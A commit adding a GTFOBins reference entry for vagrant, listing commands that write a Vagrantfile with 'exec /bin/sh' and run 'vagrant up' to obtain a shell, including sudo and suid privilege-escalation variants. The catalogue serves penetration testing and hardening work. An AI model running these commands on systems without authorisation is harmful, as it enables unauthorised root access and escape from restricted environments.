Add vagrant

This commit is contained in:
Andrea Cardaci
2023-04-13 08:34:25 +02:00
committed by GitHub

20
_gtfobins/vagrant.md Normal file
View File

@@ -0,0 +1,20 @@
---
description: This allows to execute [`ruby`](/gtfobins/ruby/) code, other functions may apply.
functions:
shell:
- code: |
cd $(mktemp -d)
echo 'exec "/bin/sh"' > Vagrantfile
vagrant up
sudo:
- code: |
cd $(mktemp -d)
echo 'exec "/bin/sh"' > Vagrantfile
vagrant up
suid:
- code: |
cd $(mktemp -d)
echo 'exec "/bin/sh -p"' > Vagrantfile
vagrant up
---